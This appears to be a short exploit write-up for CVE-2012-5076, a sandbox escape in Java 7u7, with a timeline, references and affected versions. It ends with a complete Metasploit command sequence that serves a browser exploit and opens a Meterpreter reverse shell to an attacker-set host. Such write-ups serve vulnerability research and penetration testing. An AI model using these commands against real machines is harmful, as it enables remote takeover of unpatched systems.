Timeline :

Vulnerability patched by Oracle in 2012 October CPU
Vulnerability discovered exploited in the wild by @kafeine the 2012-11-09
Metasploit PoC provided by juan vazquez the 2012-11-11

PoC provided by :

Unknown
juan vazquez

Reference(s) :

CVE-2012-5076
OSVDB-86363
BID-56054
Oracle October 2012 CPU
Cool EK : “Hello my friend…”

Affected version(s) :

Java 1.7.0_07-b10 and earlier

Tested on Windows XP Pro SP3 with :

Java 1.7.0_07-b10

Description :

This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in November of 2012. The vulnerability affects Java version 7u7 and earlier.

Commands :

use exploit/multi/browser/java_jre17_jaxws
set SRVHOST 192.168.178.26
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.26
exploit

sessions -i 1

getuid
sysinfo

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